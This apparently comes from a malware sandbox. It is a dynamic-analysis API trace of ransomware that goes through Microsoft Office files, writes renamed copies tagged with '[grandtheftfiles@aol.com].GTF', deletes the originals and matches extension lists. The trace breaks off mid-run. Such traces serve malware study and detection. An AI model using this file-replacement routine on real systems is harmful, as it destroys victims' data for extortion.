	[0165.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0165.904] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=352776) returned 1
	[0165.904] CloseHandle (hObject=0x42c) returned 1
	[0165.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx")) returned 0x220
	[0165.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0165.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0165.905] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.905] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0165.908] GetLastError () returned 0x0
	[0165.908] ReadFile (in: hFile=0x42c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x56208, lpOverlapped=0x0) returned 1
	[0166.156] WriteFile (in: hFile=0x560, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x56210, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x56210, lpOverlapped=0x0) returned 1
	[0166.163] ReadFile (in: hFile=0x42c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.163] WriteFile (in: hFile=0x560, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0xfa, lpOverlapped=0x0) returned 1
	[0166.163] SetEndOfFile (hFile=0x560) returned 1
	[0166.163] CloseHandle (hObject=0x560) returned 1
	[0166.164] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.164] SetEndOfFile (hFile=0x42c) returned 1
	[0166.173] CloseHandle (hObject=0x42c) returned 1
	[0166.173] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0166.173] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx")) returned 1
	[0166.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0166.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0166.174] lstrlenW (lpString=".doc") returned 4
	[0166.174] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0166.174] lstrlenW (lpString=".docx") returned 5
	[0166.174] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0166.174] lstrlenW (lpString=".pdf") returned 4
	[0166.174] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0166.174] lstrlenW (lpString=".xls") returned 4
	[0166.174] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0166.174] lstrlenW (lpString=".xlsx") returned 5
	[0166.174] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0166.174] lstrlenW (lpString=".ppt") returned 4
	[0166.174] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0166.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0166.174] lstrlenW (lpString=".zip") returned 4
	[0166.174] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0166.174] lstrlenW (lpString=".rar") returned 4
	[0166.174] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0166.174] lstrlenW (lpString=".bz2") returned 4
	[0166.174] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0166.174] lstrlenW (lpString=".7z") returned 3
	[0166.175] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0166.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0166.175] lstrlenW (lpString=".dbf") returned 4
	[0166.175] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0166.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0166.175] lstrlenW (lpString=".1cd") returned 4
	[0166.175] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0166.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0166.175] lstrlenW (lpString=".jpg") returned 4
	[0166.175] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0166.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0166.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0166.175] lstrlenW (lpString=".doc") returned 4
	[0166.175] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0166.175] lstrlenW (lpString=".docx") returned 5
	[0166.175] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0166.175] lstrlenW (lpString=".pdf") returned 4
	[0166.175] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0166.175] lstrlenW (lpString=".xls") returned 4
	[0166.175] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0166.175] lstrlenW (lpString=".xlsx") returned 5
	[0166.175] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0166.175] lstrlenW (lpString=".ppt") returned 4
	[0166.175] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0166.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0166.175] lstrlenW (lpString=".zip") returned 4
	[0166.175] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0166.175] lstrlenW (lpString=".rar") returned 4
	[0166.175] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0166.175] lstrlenW (lpString=".bz2") returned 4
	[0166.175] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0166.175] lstrlenW (lpString=".7z") returned 3
	[0166.175] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0166.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0166.176] lstrlenW (lpString=".dbf") returned 4
	[0166.176] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0166.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0166.176] lstrlenW (lpString=".1cd") returned 4
	[0166.176] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0166.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0166.176] lstrlenW (lpString=".jpg") returned 4
	[0166.176] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0166.176] lstrcmpiW (lpString1=".eftx", lpString2=".GTF") returned -1
	[0166.176] lstrlenW (lpString="Office 2007 - 2010.eftx") returned 23
	[0166.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0166.177] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=45229) returned 1
	[0166.177] CloseHandle (hObject=0x42c) returned 1
	[0166.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx")) returned 0x220
	[0166.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0166.178] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.178] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0166.178] GetLastError () returned 0x0
	[0166.178] ReadFile (in: hFile=0x42c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0xb0ad, lpOverlapped=0x0) returned 1
	[0166.405] WriteFile (in: hFile=0x560, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xb0b0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0xb0b0, lpOverlapped=0x0) returned 1
	[0166.406] ReadFile (in: hFile=0x42c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.407] WriteFile (in: hFile=0x560, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x102, lpOverlapped=0x0) returned 1
	[0166.407] SetEndOfFile (hFile=0x560) returned 1
	[0166.407] CloseHandle (hObject=0x560) returned 1
	[0166.407] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.407] SetEndOfFile (hFile=0x42c) returned 1
	[0166.412] CloseHandle (hObject=0x42c) returned 1
	[0166.412] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0166.413] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx")) returned 1
	[0166.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0166.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0166.414] lstrlenW (lpString=".doc") returned 4
	[0166.414] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0166.414] lstrlenW (lpString=".docx") returned 5
	[0166.414] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0166.414] lstrlenW (lpString=".pdf") returned 4
	[0166.414] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0166.414] lstrlenW (lpString=".xls") returned 4
	[0166.414] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0166.415] lstrlenW (lpString=".xlsx") returned 5
	[0166.415] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0166.415] lstrlenW (lpString=".ppt") returned 4
	[0166.415] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0166.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0166.415] lstrlenW (lpString=".zip") returned 4
	[0166.415] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0166.415] lstrlenW (lpString=".rar") returned 4
	[0166.415] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0166.415] lstrlenW (lpString=".bz2") returned 4
	[0166.415] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0166.415] lstrlenW (lpString=".7z") returned 3
	[0166.415] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0166.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0166.415] lstrlenW (lpString=".dbf") returned 4
	[0166.415] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0166.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0166.415] lstrlenW (lpString=".1cd") returned 4
	[0166.415] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0166.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0166.415] lstrlenW (lpString=".jpg") returned 4
	[0166.415] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0166.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0166.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0166.415] lstrlenW (lpString=".doc") returned 4
	[0166.415] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0166.415] lstrlenW (lpString=".docx") returned 5
	[0166.415] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0166.415] lstrlenW (lpString=".pdf") returned 4
	[0166.415] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0166.415] lstrlenW (lpString=".xls") returned 4
	[0166.415] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0166.415] lstrlenW (lpString=".xlsx") returned 5
	[0166.415] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0166.415] lstrlenW (lpString=".ppt") returned 4
	[0166.415] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0166.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0166.416] lstrlenW (lpString=".zip") returned 4
	[0166.416] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0166.416] lstrlenW (lpString=".rar") returned 4
	[0166.416] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0166.416] lstrlenW (lpString=".bz2") returned 4
	[0166.416] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0166.416] lstrlenW (lpString=".7z") returned 3
	[0166.416] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0166.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0166.416] lstrlenW (lpString=".dbf") returned 4
	[0166.416] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0166.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0166.416] lstrlenW (lpString=".1cd") returned 4
	[0166.416] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0166.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0166.416] lstrlenW (lpString=".jpg") returned 4
	[0166.416] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0166.416] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0166.416] lstrlenW (lpString="api-ms-win-core-timezone-l1-1-0.dll") returned 35
	[0166.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0166.418] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=18624) returned 1
	[0166.418] CloseHandle (hObject=0x42c) returned 1
	[0166.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x220
	[0166.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0166.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0166.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0166.419] lstrlenW (lpString=".doc") returned 4
	[0166.419] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.419] lstrlenW (lpString=".docx") returned 5
	[0166.419] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0166.419] lstrlenW (lpString=".pdf") returned 4
	[0166.419] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.419] lstrlenW (lpString=".xls") returned 4
	[0166.419] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.419] lstrlenW (lpString=".xlsx") returned 5
	[0166.419] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0166.419] lstrlenW (lpString=".ppt") returned 4
	[0166.419] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0166.419] lstrlenW (lpString=".zip") returned 4
	[0166.419] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.419] lstrlenW (lpString=".rar") returned 4
	[0166.419] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.419] lstrlenW (lpString=".bz2") returned 4
	[0166.419] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.419] lstrlenW (lpString=".7z") returned 3
	[0166.419] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0166.419] lstrlenW (lpString=".dbf") returned 4
	[0166.419] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0166.419] lstrlenW (lpString=".1cd") returned 4
	[0166.419] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0166.419] lstrlenW (lpString=".jpg") returned 4
	[0166.419] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0166.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0166.420] lstrlenW (lpString=".doc") returned 4
	[0166.420] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.420] lstrlenW (lpString=".docx") returned 5
	[0166.420] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0166.420] lstrlenW (lpString=".pdf") returned 4
	[0166.420] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.420] lstrlenW (lpString=".xls") returned 4
	[0166.420] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.420] lstrlenW (lpString=".xlsx") returned 5
	[0166.420] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0166.420] lstrlenW (lpString=".ppt") returned 4
	[0166.420] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0166.420] lstrlenW (lpString=".zip") returned 4
	[0166.420] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.420] lstrlenW (lpString=".rar") returned 4
	[0166.420] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.420] lstrlenW (lpString=".bz2") returned 4
	[0166.420] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.420] lstrlenW (lpString=".7z") returned 3
	[0166.420] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0166.420] lstrlenW (lpString=".dbf") returned 4
	[0166.420] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0166.420] lstrlenW (lpString=".1cd") returned 4
	[0166.420] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0166.420] lstrlenW (lpString=".jpg") returned 4
	[0166.420] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.420] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0166.421] lstrlenW (lpString="api-ms-win-core-xstate-l2-1-0.dll") returned 33
	[0166.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0166.421] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11616) returned 1
	[0166.421] CloseHandle (hObject=0x42c) returned 1
	[0166.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x220
	[0166.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0166.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82
	[0166.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82
	[0166.422] lstrlenW (lpString=".doc") returned 4
	[0166.422] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.422] lstrlenW (lpString=".docx") returned 5
